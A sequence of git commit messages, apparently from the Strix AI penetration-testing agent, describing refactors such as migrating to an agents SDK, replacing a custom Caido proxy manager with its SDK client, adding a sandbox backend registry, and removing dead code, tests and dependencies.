- Reduced to docstrings (or empty) so ``import strix.tools`` doesn't
  drag every tool's transitive deps in eagerly.

Drive-by: drop dead helpers in ``runtime.session_manager``
(``cached_scan_ids``, ``_reset_cache_for_tests``) — zero callers since
``tests/`` was nuked in ``a6d578c``.

Verified all tool timeouts preserved (think=10, list_requests=120,
finish_scan=60, web_search=330) and ruff/mypy at baseline.
2026-04-25 15:17:46 -07:00
0xallam 6f96b9da9a feat(runtime): pluggable sandbox backend registry
``STRIX_RUNTIME_BACKEND`` was already declared on ``Config`` but never
read — ``session_manager`` hard-coded ``StrixDockerSandboxClient`` plus
``DockerSandboxClientOptions`` plus ``docker.from_env()`` directly into
the call site. Adding a second backend would have meant retrofitting
every Docker-specific import.

Move all of that behind a registry:

- ``strix/runtime/backends.py``: maps backend names to async factories
  ``(image, manifest, exposed_ports) -> (client, session)``. Ships with
  ``"docker"``; ``register_backend`` lets downstream users plug in
  Daytona / K8s / Modal / etc. without forking.
- Each backend's deps are imported lazily inside its factory, so a
  K8s-only deployment doesn't need ``docker-py`` installed (and
  vice-versa).
- ``session_manager`` reads the config name, looks up the backend,
  calls it. Zero Docker imports remain.
- Unknown backend name raises ``ValueError`` with the supported list,
  so ``STRIX_RUNTIME_BACKEND=docke`` typos surface immediately.
2026-04-25 15:02:51 -07:00
0xallam ef3817e404 refactor: rename `strix_docker_client.pydocker_client.py`
The ``strix`` prefix on a file inside ``strix/runtime/`` was pure
redundancy. Class name ``StrixDockerSandboxClient`` keeps the prefix
since it disambiguates from the upstream SDK class it subclasses.
2026-04-25 14:59:00 -07:00
0xallam 430e468781 refactor: collapse strix/sandbox into strix/runtime; in-sandbox Caido bootstrap
The split between ``strix/sandbox/`` and ``strix/runtime/`` was
artificial — both were managing the same backend. ``strix/sandbox/``
also collided uncomfortably with the SDK's ``agents.sandbox.*``
namespace. ``runtime/`` (which matches ``STRIX_RUNTIME_BACKEND``) is
the canonical home for everything Docker / Daytona / K8s lifecycle.

While merging, also rip out two pieces of Docker-specific coupling:

- ``caido_bootstrap`` was POSTing ``loginAsGuest`` from the host via
  ``aiohttp`` to ``http://127.0.0.1:{forwarded_port}``. That assumed
  Docker port forwarding; Daytona / K8s expose ports differently.
  Now we ``session.exec`` curl from *inside* the container — the
  SDK's runtime-agnostic exec primitive — so any backend works as
  long as it implements ``exec``. The host-side Caido ``Client``
  still uses the runtime's exposed-port URL for post-bootstrap calls,
  but that goes through the SDK's own ``resolve_exposed_port``
  abstraction (also runtime-agnostic).

- The bootstrap retry loop now doubles as the readiness probe, so
  ``healthcheck.wait_for_tcp_ready`` (and the entire
  ``healthcheck.py`` module) goes away.

Drive-by simplification: drop ``caido_host_port`` plumbing entirely.
It was only piped through ``make_agent_context`` → child contexts
without ever being read; only ``caido_client`` is consumed.

Drops ``aiohttp`` runtime dep (it stays only as a transitive of the
Caido SDK).
2026-04-25 14:55:44 -07:00
0xallam 9775535c66 chore: nuke post-migration dead code, deps, and broken Dockerfile fallback
- Drop ``wait_for_http_ready`` (FastAPI sidecar healthcheck) — only Caido
  TCP probe survives now. Removes the ``httpx`` import.
- Delete ``ListSitemapRenderer`` / ``ViewSitemapEntryRenderer`` — render
  UI for tools that disappeared with the Caido SDK migration.
- Drop ``scrubadub`` runtime dep — PII sanitizer was nuked previously
  but the dep stayed; resolve strips 18 transitives (numpy, scipy,
  scikit-learn, nltk, faker, …).
- Drop empty ``[project.optional-dependencies] sandbox`` section — last
  in-container Python dep migrated out.
- Drop unused mypy overrides (``pydantic_settings``, ``jwt``, ``gql``,
  ``scrubadub``, ``httpx``) and the stale ``fastapi`` isort group.
- Collapse Dockerfile's ``pipx install -r ... 2>/dev/null || venv``
  fallback into a direct venv install — pipx never accepted ``-r`` so
  the fallback was always firing.
2026-04-25 14:46:33 -07:00
0xallam 45506d43f4 docs(skill): document the agent-browser → view_image chain for screenshots
The vendored agent-browser skill described the ``screenshot``
subcommand but didn't tell the model how to actually look at the
resulting PNG. ``agent-browser screenshot`` writes to disk; the
SDK's ``view_image`` (from the ``Filesystem`` capability we already
enable on the agent) is what loads the bytes back as multimodal
content.

Add the explicit two-step pattern:

  exec_command:  agent-browser screenshot /workspace/page.png
  view_image:    {"path": "/workspace/page.png"}

Plus a guidance note that ``snapshot -i`` (text accessibility tree at
~200-400 tokens) is the cheap default and screenshots are for cases
where pixels actually matter — visual layout, captchas, custom
widgets where the a11y tree is incomplete.
2026-04-25 14:38:13 -07:00
0xallam 300fc88c8c chore: final cleanup — drop `STRIX_SANDBOX_MODE / strix_disable_browser` / runtime docstring
Tail end of the sandbox-tools migration:
- Drop ``ENV STRIX_SANDBOX_MODE=true`` and ``ENV PYTHONPATH=/app`` from
  the Dockerfile — both only mattered for the now-deleted in-container
  tool server (the legacy ``register_tool`` registry gated on the env
  var, and the entrypoint set ``PYTHONPATH`` so it could ``-m
  strix.runtime.tool_server``).
- Drop ``strix_disable_browser`` from the Config defaults — the legacy
  registry used it to skip ``browser_action`` registration; agent-browser
  is unconditional now.
- Strip the ``tool_server.py`` blurb from ``strix/runtime/__init__.py``.
2026-04-25 14:35:55 -07:00
0xallam b79fe12bd8 refactor: SandboxAgent + SDK Shell/Filesystem; agent-browser CLI; nuke FastAPI sidecar
Combined commits 2+3 of the migration plan because the FastAPI sidecar
removal in commit 2 broke ``browser_action`` (which lived in the
sidecar); they have to land together.

Sandbox tool layer (commit 2 piece):
- ``build_strix_agent`` now returns a ``SandboxAgent`` with
  ``capabilities=[Filesystem(), Shell()]``. The SDK runtime binds the
  capabilities to the live sandbox session per-run; agents get
  ``exec_command``, ``write_stdin``, ``apply_patch``, ``view_image``
  function tools auto-merged into their tool list. Plain ``Agent``
  short-circuits capability binding (``agents/sandbox/runtime.py:190``).
- Drop ``Compaction`` from the default capability set — it's
  OpenAI-Responses-API-only and useless for our litellm-routed
  Anthropic setup.
- Delete the entire custom in-container tool layer:
  - ``strix/tools/terminal/`` (5 files, 748 LoC libtmux)
  - ``strix/tools/file_edit/`` (3 files, 276 LoC)
  - ``strix/tools/python/`` (5 files, 459 LoC)
  - ``strix/runtime/tool_server.py`` (163 LoC FastAPI sidecar)
  - ``strix/tools/_sandbox_dispatch.py`` (117 LoC)
  - ``strix/tools/registry.py`` (109 LoC)
  - ``strix/tools/context.py`` (12 LoC)
- Drop the corresponding TUI renderers (``terminal_renderer.py``,
  ``file_edit_renderer.py``, ``python_renderer.py``) and update
  ``interface/tool_components/__init__.py``.

Browser → agent-browser CLI (commit 3 piece):
- Install ``agent-browser@0.26.0`` globally in the Dockerfile right
  after the existing ``npm install -g`` block. Run
  ``agent-browser install --with-deps`` (apt, root) and
  ``agent-browser install`` (Chrome download, pentester) +
  ``agent-browser doctor --offline --quick`` smoke test.
- Drop the explicit Playwright system-deps apt list (replaced by
  ``--with-deps``) and ``RUN .venv/bin/python -m playwright install
  chromium``.
- Vendor ``agent-browser/skill-data/core/SKILL.md`` →
  ``strix/skills/tooling/agent_browser.md`` (476 lines). Adapt
  frontmatter to Strix format; strip the install/Quickstart and the
  ``agent-browser skills get electron|slack|...`` specialized-skills
  block; add the "Caido proxy is wired via env vars; do not pass
  ``--proxy``" note.
- ``_resolve_skills`` now eagerly loads ``tooling/agent_browser`` for
  every agent (matches the previous unconditional ``browser_action``
  in ``_BASE_TOOLS``).
- Delete ``strix/tools/browser/`` (5 files, 1338 LoC) and the
  ``browser_renderer.py`` TUI render.

Sandbox plumbing:
- Drop ``bearer`` token, ``tool_server_host_port`` resolution + bundle
  keys, ``TOOL_SERVER_TOKEN``/``TOOL_SERVER_PORT``/
  ``STRIX_SANDBOX_EXECUTION_TIMEOUT`` from the manifest env in
  ``session_manager.create_or_reuse``. Caido proxy env vars
  (``http_proxy``, ``https_proxy``, ``ALL_PROXY``) stay; manifest
  applies them to every ``docker exec``-spawned process.
- Drop ``sandbox_token`` and ``tool_server_host_port`` params from
  ``make_agent_context`` and the ``create_agent`` graph tool.
- Drop the tool-server health-check from ``entry.py`` (only Caido's
  ``wait_for_tcp_ready`` remains).
- ``docker-entrypoint.sh``: delete the ~30 line
  ``Starting tool server...`` block (sudo + uvicorn launch + curl
  /health poll). Add ``NO_PROXY=localhost,127.0.0.1`` to
  ``/etc/profile.d/proxy.sh`` and ``/etc/environment`` so the
  agent-browser daemon's CDP traffic on localhost isn't routed
  through Caido.

pyproject.toml:
- ``[project.optional-dependencies] sandbox = []`` (every member of
  the previous list — fastapi, uvicorn, ipython, openhands-aci,
  playwright, libtmux — is gone with the sidecar).
- Drop ``numpydoc.*``, ``IPython.*``, ``openhands_aci.*``,
  ``playwright.*``, ``uvicorn.*``, ``pyte.*``, ``libtmux.*`` from
  the missing-imports module list.
- Drop the per-file ruff ignores for the deleted modules.

Net delta: −5512 LoC. ruff drops to 3 errors (was 21 baseline). mypy
falls to 69 errors over 3 files (was 84 over 8 — the drop comes from
deleting the modules with the worst untyped-import problems).
2026-04-25 14:33:38 -07:00
0xallam 7b0f792d3d refactor: Caido — replace ProxyManager with caido-sdk-client (host-side)
Drop our 797-LoC manual GraphQL ``ProxyManager`` and the in-container
sandbox dispatch. Caido goes host-side via the official async Python
SDK. The Caido CLI still runs as a sidecar in the container — only the
control-plane moves.

Bootstrap moves host-side:
- New ``strix/sandbox/caido_bootstrap.py``: ``loginAsGuest`` via
  aiohttp (5 retries), then ``client.project.create(temporary=True)``
  + ``client.project.select(...)``, then return the connected
  ``caido_sdk_client.Client``. Drop the equivalent bash from
  ``docker-entrypoint.sh`` (~60 lines of curl + jq).
- ``entry.py`` calls ``bootstrap_caido_client`` after the
  ``wait_for_tcp_ready`` healthcheck, stashes the client in the bundle
  and threads it through ``make_agent_context(caido_client=...)``.
  ``agents_graph.create_agent`` propagates the same client to children.
- ``session_manager.cleanup`` ``await``s ``client.aclose()`` before
  tearing down the container.
- Drop ``CAIDO_PORT`` from the manifest env (only the in-container
  ProxyManager read it) and ``CAIDO_API_TOKEN`` from the entrypoint's
  ``/etc/profile.d/proxy.sh`` + ``/etc/environment`` heredocs.

Tools (``strix/tools/proxy/tools.py``):
- ``list_requests`` → ``client.request.list().filter().first().after()``
  with ascending/descending order. **Pagination changes from
  start_page/end_page (1-indexed) to first/after cursors** matching the
  SDK's native shape; response includes ``page_info.end_cursor`` for
  the model to thread.
- ``view_request`` → ``client.request.get(id, RequestGetOptions(...))``;
  decode raw bytes locally; existing regex-search and line-pagination
  modes preserved.
- ``send_request`` → synthesize raw HTTP bytes, parse URL into
  ``ConnectionInfoInput(host, port, is_tls)``, create a replay session
  via ``client.replay.sessions.create(CreateReplaySessionFromRaw(...))``,
  then ``client.replay.send(session_id, ReplaySendOptions(...))``.
- ``repeat_request`` → ``client.request.get(id, request_raw=True)`` →
  port the existing parse/_apply_modifications/build helpers verbatim →
  send via the same replay flow as ``send_request``.
- ``scope_rules`` → direct mapping to ``client.scope.{list, get, create,
  update, delete}``.
- **Drop ``list_sitemap`` + ``view_sitemap_entry``** — the official SDK
  has no sitemap module. The model uses HTTPQL filters
  (``req.host.eq:"X" AND req.path.cont:"/api/"``) for the same
  drill-down workflow.

Deletions:
- ``strix/tools/proxy/proxy_manager.py`` (797 LoC)
- ``strix/tools/proxy/proxy_actions.py`` (113 LoC)
- The 6-line proxy_actions pre-import in ``python_instance.py``
  (broken once proxy_actions is gone; that file is queued for deletion
  in commit 2 anyway).

Deps:
- Add ``caido-sdk-client>=0.2.0`` and ``aiohttp>=3.10.0`` to runtime
  ``[project] dependencies``.
- Drop ``gql[requests]>=3.5.3`` from ``[project.optional-dependencies]
  sandbox`` — only the in-container ProxyManager used the sync transport
  variant; the SDK pulls in ``gql[aiohttp]`` transitively for us.
- ``[[tool.mypy.overrides]]``: add ``caido_sdk_client.*`` and
  ``aiohttp.*`` to the missing-imports list with
  ``disable_error_code=["import-untyped"]`` (neither ships ``py.typed``).
- ``[tool.ruff.lint.per-file-ignores]``: bump the proxy/tools.py
  ignore to also include ``PLR0911`` (the scope_rules action dispatcher
  has many short-circuit returns).

ruff drops from 21 → 12 errors; mypy moves from 82 → 84 (the +2 are in
already-flaky files unrelated to this change). All touched files mypy
clean.
2026-04-25 14:23:56 -07:00
0xallam 7296d8aabd refactor: nuke `events.jsonl` pipeline and the unused PII sanitizer
The JSONL trace sink was never read — TUI consumes ``Tracer`` state
directly (chat_messages, agents, tool_executions, vulnerability_reports,
LLM stats), and SQLiteSession owns the conversation history. The whole
``StrixTracingProcessor`` → ``_emit_event`` → ``append_jsonl_record``
pipeline was producing files nothing opens.

Deleted:
- ``strix/telemetry/strix_processor.py`` (the SDK ``TracingProcessor``).
- ``strix/telemetry/utils.py`` — ``TelemetrySanitizer`` (no remaining
  callers), ``append_jsonl_record``, ``get_events_write_lock``,
  ``reset_events_write_locks``.
- ``strix/telemetry/flags.py`` — ``is_telemetry_enabled`` /
  ``is_posthog_enabled`` collapsed into a 4-line check inside
  ``posthog._is_enabled`` (its only caller).
- ``Tracer._emit_event`` and every event-emit call inside the tracer
  (``run.started``, ``run.configured``, ``run.completed``,
  ``finding.created``, ``finding.reviewed``, ``chat.message``).
- ``Tracer._enrich_actor`` (only used by ``_emit_event``).
- ``Tracer._sanitize_data`` + ``_sanitizer`` field (PII scrub only ran
  on JSONL events).
- ``Tracer.events_file_path`` property and the ``_events_file_path`` /
  ``_telemetry_enabled`` / ``_run_completed_emitted`` /
  ``_next_execution_id`` fields.
- ``Tracer._calculate_duration`` (one caller in posthog — inlined).
- ``add_trace_processor(StrixTracingProcessor(run_dir))`` from
  ``entry.py``.

The ``Tracer`` class is now ~275 LoC of pure runtime state for the TUI
+ vulnerability artifact writer (markdown / CSV / pentest report).
Conversation history goes to ``SQLiteSession``; SDK trace events are
not persisted.
2026-04-25 13:47:37 -07:00
0xallam d3449556b7 refactor: flatten CaidoCapability into direct wiring
The custom ``Capability`` subclass was 207 LoC bundling four tiny
concerns (env-var injection, tool exposure, system-prompt block,
healthcheck) — and three of them were dead code: the SDK's
``SandboxRunConfig`` doesn't accept capabilities, so
``process_manifest``, ``tools()``, and ``instructions()`` were never
called. Only ``bind()`` ran, because we invoked it manually.

Replace each piece with the obvious direct equivalent:

- **Env vars**: inject ``http_proxy`` / ``https_proxy`` / ``ALL_PROXY``
  directly into the manifest in ``session_manager.create_or_reuse``.
  This *also fixes a latent bug* — the proxy env vars in
  ``CaidoCapability.process_manifest`` weren't being applied to live
  containers, so shelled-out HTTP traffic from terminal/python tools
  wasn't actually flowing through Caido.
- **Tool exposure**: add the seven Caido tools (``list_requests``,
  ``view_request``, ``send_request``, ``repeat_request``,
  ``scope_rules``, ``list_sitemap``, ``view_sitemap_entry``) to
  ``_BASE_TOOLS`` in ``agents/factory.py`` like every other sandbox
  tool. They were already defined in ``tools/proxy/tools.py``.
- **Healthcheck**: ``entry.py`` now ``await``s
  ``wait_for_http_ready`` + ``wait_for_tcp_ready`` inline after
  ``session_manager.create_or_reuse`` returns, before any agent runs.
  No more capability state, ``configure_host_ports`` plumbing, or
  ``on_agent_start`` await-the-task indirection.
- **Instructions block**: dropped. The seven proxy tools' docstrings
  cover the HTTPQL syntax and usage already; the duplicate prompt
  fragment was overhead.

Cascade cleanups:
- Drop ``caido_capability`` from the agent context (was passed to
  every ``make_agent_context`` call but only used by the now-deleted
  ``on_agent_start`` await).
- Strip the capability await branch from
  ``StrixOrchestrationHooks.on_agent_start``; that hook now does only
  the ``tracer.agents`` mirroring it always should have.
- Drop the ``capability`` key from the session bundle.
- Drop ``strix/sandbox/caido_capability.py`` — entire file (207 LoC).
- Drop the per-file ruff ignore for the deleted file.

mypy clean on every touched file. Net -217 LoC.
2026-04-25 13:32:11 -07:00
0xallam 4357648404 refactor: lean on SDK for tracing + native session resume; nuke OTEL/Traceloop
The SDK ships its own tracing pipeline (``agents.tracing``) plus
``SQLiteSession`` for native conversation persistence. Strix's custom
OTEL bootstrap + Traceloop integration was dead weight — the SDK does
not bridge to OpenTelemetry, so all of our adapter code was solving a
problem we didn't actually need solved.

Telemetry purge:
- Drop the ``traceloop-sdk`` and
  ``opentelemetry-exporter-otlp-proto-http`` runtime deps. ``uv sync``
  uninstalls ~30 transitive packages (the OTEL family,
  ``traceloop-sdk``, ``protobuf``, ``opentelemetry-exporter-otlp-*``,
  ``deprecated``, ``wrapt``, ``backoff``, etc.) — about 1000 lines off
  ``uv.lock``.
- Delete ``bootstrap_otel`` and ``JsonlSpanExporter`` from
  ``telemetry/utils.py``; strip the OTEL pruning helpers,
  ``parse_traceloop_headers``, ``default_resource_attributes``,
  ``format_trace_id`` / ``format_span_id`` / ``iso_from_unix_ns``.
  Keep only the sanitizer + JSONL writer + write-lock registry.
- Strip ``Tracer._setup_telemetry``, ``_otel_tracer``,
  ``_remote_export_enabled``, ``_active_events_file_path``,
  ``_active_run_metadata``, ``_get_events_write_lock``,
  ``_set_association_properties``. ``_emit_event`` now generates
  trace/span ids from ``uuid4`` directly.
- Drop the ``traceloop_base_url`` / ``traceloop_api_key`` /
  ``traceloop_headers`` / ``strix_otel_telemetry`` config knobs.
- Rename ``is_otel_enabled`` → ``is_telemetry_enabled`` (the gate now
  controls JSONL emission only).

Native session resume:
- ``entry.py`` now constructs an ``agents.memory.SQLiteSession`` keyed
  by ``scan_id`` and persists conversation history at
  ``strix_runs/<scan_id>/session.db``. A second call to
  ``run_strix_scan`` with the same ``scan_id`` resumes from where the
  prior run left off — no manual state plumbing needed.

Tracer.agents fix (TUI agent tree was silently empty):
- ``StrixOrchestrationHooks.on_agent_start`` now mirrors bus state
  into ``tracer.agents`` (id / name / parent_id / status), and
  ``on_agent_end`` flips the entry to ``completed`` / ``crashed``.
  The TUI now actually shows the agent tree during scans.

Tooling:
- Drop ``pylint`` from dev deps; ``ruff`` covers everything we used
  it for. Strip the ``make lint`` pylint step.
2026-04-25 13:18:21 -07:00
0xallam a67d64dcf5 chore: drop unused pydantic[email] extra
No imports of EmailStr or pydantic.networks; dropping the
extra removes email-validator, dnspython, and idna as
transitives.
2026-04-25 13:07:02 -07:00
0xallam bacde6d970 chore: drop unused dependencies
Runtime deps (``[project] dependencies``):
- ``litellm[proxy]>=1.83.0`` — ``openai-agents[litellm]==0.14.6``
  already pulls litellm as a transitive (currently 1.83.7), and we
  only use ``litellm.completion()``, not the proxy server extras.
- ``defusedxml>=0.7.1`` — leftover from the XML tool-call era; zero
  imports remain.

Sandbox deps (``[project.optional-dependencies] sandbox``):
- ``pyte>=0.8.1`` — zero imports.
- ``numpydoc>=1.8.0`` — zero imports.

Optional groups:
- Drop the entire ``vertex`` group (``google-cloud-aiplatform``);
  routing goes through litellm/MultiProvider, no direct Google Cloud
  usage.

Dev deps (``[dependency-groups] dev``):
- ``black>=25.1.0`` — never invoked; ruff format does it and is what
  pre-commit + Makefile actually call.
- ``isort>=6.0.1`` — never invoked; ruff's ``I`` lint set handles
  imports. (pylint pulls isort transitively, so functionality is
  preserved.)

ruff (27) and mypy (82) baselines unchanged; ``uv sync`` uninstalls
~15 packages.
2026-04-25 13:06:41 -07:00
0xallam a78e1244f2 chore: nuke tests/ and the entire test toolchain
The test suite was carrying migration scars and a long tail of
low-density assertions over SDK-derived behavior. Drop it wholesale.

- Delete ``tests/`` (42 files, ~4900 LoC).
- Drop ``pytest`` / ``pytest-asyncio`` / ``pytest-cov`` /
  ``pytest-mock`` from the dev dependency group; ``uv sync``
  uninstalls the matching wheels.
- Strip the pytest + coverage config blocks, the
  ``flake8-pytest-style`` ruff selector, the ``tests/**`` per-file
  ignores, the ``[tool.mypy.overrides] tests.*`` block, and the
  ``"tests"`` entry from bandit's ``exclude_dirs``.
- Drop the ``test`` / ``test-cov`` Makefile targets; ``dev`` no
  longer depends on tests.
- Strip the ``# Testing`` block from ``.gitignore`` (``.coverage``,
  ``.pytest_cache/``, ``htmlcov/``, ``coverage.xml``, ``nosetests.xml``,
  ``.tox/``, ``.hypothesis/``).

ruff (27) and mypy (82) baselines unchanged.
2026-04-25 13:01:20 -07:00
0xallam ecbd92ce2c refactor: dedupe `_dump` helper, collapse retry-policy plumbing, scrub test scars
Tools:
- Add a single ``dump_tool_result`` helper in ``tools/_decorator.py``
  and remove the eight identical ``_dump`` definitions from
  ``proxy/tools.py``, ``file_edit/tools.py``, ``python/tool.py``,
  ``terminal/tool.py``, ``todo/tools.py``, ``browser/tool.py``,
  ``notes/tools.py``, ``agents_graph/tools.py``. Imports trimmed.
  Net -50 LoC across the tool modules.

run_config_factory:
- Inline the four retry-policy plumbing pieces
  (``_RETRYABLE_HTTP_STATUSES``, ``_DEFAULT_MAX_RETRIES``,
  ``_DEFAULT_BACKOFF``, ``_default_retry_policy()``) into a single
  module-level ``_DEFAULT_RETRY`` ``ModelRetrySettings`` literal. The
  inputs were never overridden and the helper had one caller.

Tests:
- Drop migration scars from ``tests/test_run_config_factory.py``
  (``Phase 1`` / ``C1`` / ``C11`` / ``C21`` / ``HARNESS_WIKI`` / ``AUDIT``
  references). Replace the ``_RETRYABLE_HTTP_STATUSES``-touching test
  with a ``retry.policy is not None`` smoke check now that the constant
  has been inlined.
2026-04-25 12:54:44 -07:00
0xallam 43ebb786a2 refactor: collapse dual stat buckets, prune unused params, kill dead helpers
Tracer:
- Collapse the ``live`` / ``completed`` LLM stat buckets into one
  flat dict. The ``completed`` bucket was only ever written by tests
  — production never moved stats across, and ``get_total_llm_stats``
  always summed both for display.
- Drop ``record_llm_usage(agent_id=...)``: argument was unused, and
  the per-call ``bucket=`` knob is gone with the buckets.

run_config_factory:
- Drop unused ``parallel_tool_calls``, ``tool_choice`` parameters
  from ``make_run_config`` — no caller ever overrode them.
- Drop ``agent_name`` from ``make_agent_context`` — set into the
  context dict but no consumer ever read it; the bus's ``names`` map
  is the source of truth.

Wire reasoning_effort through:
- ``Config.get("strix_reasoning_effort")`` is now actually plumbed
  to ``make_run_config`` from ``entry.py``. Previously the env var
  was advertised but never consumed.

Multi-agent graph tools:
- Replace six copies of
  ``inner = ctx.context if isinstance(ctx.context, dict) else {}``
  with a single ``_ctx(ctx)`` helper.

Todo tools:
- Lift the duplicated ``priority_order`` / ``status_order`` dicts
  to module-level ``_PRIORITY_RANK`` / ``_STATUS_RANK`` and replace
  both inline sort lambdas with ``_todo_sort_key``.

Notes tools:
- Delete ``append_note_content`` (and its test): docstring claimed
  it was for an "agents-graph wiki-update hook on agent_finish" that
  was never wired up. Pure dead public API.

Style:
- Drop the ``del ctx`` no-ops from notes / reporting / web_search
  tools. ``ARG001`` is already silenced project-wide for tool
  modules; the ``del`` was cargo-culted.
2026-04-25 12:44:48 -07:00
0xallam 1aeee5dc29 refactor: nuke gratuitous XML serialization + delete argument_parser
Argument parser:
- Delete ``strix/tools/argument_parser.py`` and its tests. The SDK
  validates and types tool arguments via Pydantic before they hit our
  wrappers, and the in-container tool server receives JSON-typed
  kwargs over the wire. The string-coercion belt-and-suspenders is no
  longer pulling its weight.

XML → JSON / typed structures:
- ``create_vulnerability_report``: ``cvss_breakdown`` is now a
  ``dict[str, str]`` of the 8 metrics; ``code_locations`` is a
  ``list[dict]``. No more XML parsing in the tool or the renderer.
- ``check_duplicate``: the dedup judge now emits a single JSON object
  instead of an ``<dedupe_result>`` block. Strict JSON parser handles
  optional code-fence wrappers.
- ``agent_finish``: completion report posted to the parent inbox is a
  JSON object (``kind``, ``from``, ``agent_id``, ``success``,
  ``summary``, ``findings``, ``recommendations``) rather than a
  hand-rolled ``<agent_completion_report>`` XML envelope.
- ``create_agent``: identity preamble + inherited-context markers are
  plain bracketed labels rather than ``<agent_delegation>`` /
  ``<inherited_context_from_parent>`` envelopes.
- ``inject_messages_filter``: peer messages get a
  ``[Message from agent <id> | type=... | priority=...]`` header line
  instead of an ``<inter_agent_message>`` envelope.
- Crash + system-warning messages: bracketed labels, no XML.
- System prompt: the inter-agent block now describes the new header
  format and drops the "never echo XML envelope" rule.
- ``strix/llm/utils.py``: deleted. ``clean_content`` collapsed into a
  one-line blank-line normalizer in the agent-message renderer (the
  XML envelope scrub had nothing left to scrub).

Tests updated to match the new shapes.
2026-04-25 12:31:07 -07:00
0xallam e473b2d6d8 refactor: delete orphaned dirs, dead streaming infra, unused session/compressor
Orphaned files/dirs:
- ``strix/agents/StrixAgent/`` — empty, only ``__pycache__``.
- ``strix/tools/browser/litellm/`` — empty, only ``__pycache__``.
- ``strix/strix_runs/`` — runtime output left in the working tree.
- ``strix/prompts/`` — single Jinja template that nothing renders.

Dead streaming pipeline (was never wired in the SDK migration):
- Delete ``strix/interface/streaming_parser.py`` (XML tool-call parser
  for an output format the SDK doesn't produce).
- Strip ``streaming_content`` / ``interrupted_content`` dicts and
  five unused methods from ``Tracer``.
- Strip the streaming-render path + ``interrupted`` branch from TUI.
- Trim ``strix/llm/utils.py``: drop ``normalize_tool_format``,
  ``parse_tool_invocations``, ``format_tool_call``,
  ``fix_incomplete_tool_call`` and the XML-stripping in
  ``clean_content``. Keep only the inter-agent-XML scrub.

Unwired session compression:
- Delete ``strix/llm/strix_session.py`` and
  ``strix/llm/memory_compressor.py``. ``Runner.run`` was never called
  with a ``session=``, so the compressor never ran. Drop the matching
  test file and the ``strix_memory_compressor_timeout`` config knob.

Tracer cleanup:
- Remove ``log_agent_creation``, ``log_tool_execution_start``,
  ``update_tool_execution``, ``update_agent_status``,
  ``get_agent_tools`` — none had production callers.
- Rewrite the redaction + correlation tests against
  ``log_chat_message`` (which still emits events).
2026-04-25 12:21:59 -07:00
0xallam 4d2fa45db6 refactor: scrub migration scars, dead code, and unused helpers
- Strip PLAYBOOK / AUDIT / Phase-N / C-numbered references from
  module docstrings across 16 files; rename
  ``_PHASE1_PARALLEL_DEFAULT`` → ``_PARALLEL_TOOL_CALLS_DEFAULT``.
- Delete unused exception classes: ``SandboxInitializationError``,
  ``ImplementedInClientSideOnlyError``.
- Delete the no-op ``on_handoff`` hook (we don't use SDK handoffs).
- Delete the unreachable backward-compat tab-delimited fallback in
  ``_parse_git_diff_output``.
- Delete orphaned ``strix/tools/load_skill/`` (dir contained only a
  pycache) and stale pycache files.
- Rewrite ``strix/skills/__init__.py``: 168 → 56 LoC. Drop seven
  helper functions (``get_available_skills``, ``get_all_skill_names``,
  ``validate_skill_names``, ``parse_skill_list``,
  ``validate_requested_skills``, ``generate_skills_description``,
  ``_get_all_categories``) — none had external callers; only
  ``load_skills`` is used.
- Drop the stale ``strix/agents/sdk_factory.py`` per-file ruff ignore
  (file no longer exists).
2026-04-25 12:05:24 -07:00
0xallam eb079221b2 docs: restore tool guidance into docstrings, drop prompt tool-format boilerplate
Port the prose guidance that previously lived in the deleted
*_actions_schema.xml files into per-tool docstrings, so the SDK's
auto-generated function schema carries the same domain knowledge
(HTTPQL syntax, Caido sitemap kinds, browser persistence/JS rules,
agent specialization caps, customer-facing report rules, CVSS/CWE
guidance, etc.) without any custom prompt scaffolding.

Strip the <tool_usage> block from system_prompt.jinja — XML format
guidance, the "CRITICAL RULES" 0-8 list, and the </function>
closing-tag reminder all contradicted the SDK's native JSON
function-calling protocol.
2026-04-25 11:48:41 -07:00
0xallam 93de9b0150 chore: per-file PLC0415 ignores for inlined tool files with lazy imports
The three inlined tool files (notes/tools.py, finish/tool.py,
reporting/tool.py) have intentional lazy imports inside try-blocks
to avoid circular dependencies with strix.telemetry / strix.llm.
Add per-file PLC0415 + TC002 ignores instead of inline noqa comments
that pre-commit's auto-fix kept stripping.
2026-04-25 11:28:58 -07:00
0xallam 7970271d4f refactor: inline non-sandbox actions, strip registry, drop schemas
Cleanup pass after the migration:

#1 Inline ``*_actions.py`` into wrapper ``tool[s].py`` for the
non-sandbox tools (think, todo, notes, reporting, web_search,
finish_scan). One file per tool family now. Helpers + public
function bodies live alongside the ``@strix_tool``-decorated
wrappers that call them.

For notes, the sync helpers are renamed to ``_create_note_impl`` /
``_list_notes_impl`` / etc. so the public names ``create_note`` /
``list_notes`` / etc. can be the FunctionTool instances the agent
factory imports. ``append_note_content`` (used by the agents-graph
wiki-update hook) calls the impl helpers directly.

#2 Delete ``strix/tools/_state_adapter.py``. The ``AgentStateAdapter``
shim only existed to feed legacy ``*_actions.py`` functions a
``state.agent_id`` they could read. With the actions inlined, the
wrappers read ``ctx.context['agent_id']`` directly.

#3 Strip ``strix/tools/registry.py`` from ~250 LOC to ~110.
Deleted: XML schema loading, ``_parse_param_schema``,
``get_tools_prompt``, ``get_tool_param_schema``, ``needs_agent_state``,
``should_execute_in_sandbox``, ``validate_tool_availability`` — all
for the host-side legacy dispatcher path. Kept the ``register_tool``
decorator (sandbox side), ``get_tool_by_name``, ``get_tool_names``,
``tools`` list, ``clear_registry``.

The Jinja prompt template's ``{{ get_tools_prompt() }}`` injection
is dropped — the SDK auto-generates tool descriptions from function
signatures, so the legacy XML tool block was redundant and stale.

#4 Delete every ``*_actions_schema.xml`` (12 files). They were read
by the now-removed ``_load_xml_schema`` to build the legacy prompt's
tool descriptions. No consumer remains.

Side fixes:
- ``reporting_renderer.py`` updated to import ``_parse_*_xml`` from
  the new location with leading underscore.
- ``test_local_tools.py``, ``test_notes_jsonl_concurrency.py``,
  ``test_notes_wiki.py`` updated to point at the new module paths
  and call the ``_*_impl`` sync helpers.

Tests: 279/279 passing. ~1500 LOC of action files moved into the
tool wrappers; ~140 LOC of registry boilerplate removed; ~400 lines
of dead XML deleted.
2026-04-25 11:26:02 -07:00
0xallam a4c724444c fix: address audit findings — SDK plumbing, TUI bus, dead code
Critical fixes:

- ``StrixOrchestrationHooks.on_agent_start`` now finds the
  ``CaidoCapability`` via ``ctx.context['caido_capability']`` instead
  of ``agent.capabilities`` (we use plain ``Agent``, not
  ``SandboxAgent``, so the latter never existed). The session
  manager's bundle already exposes the capability; ``run_strix_scan``
  threads it through ``make_agent_context`` and ``create_agent``
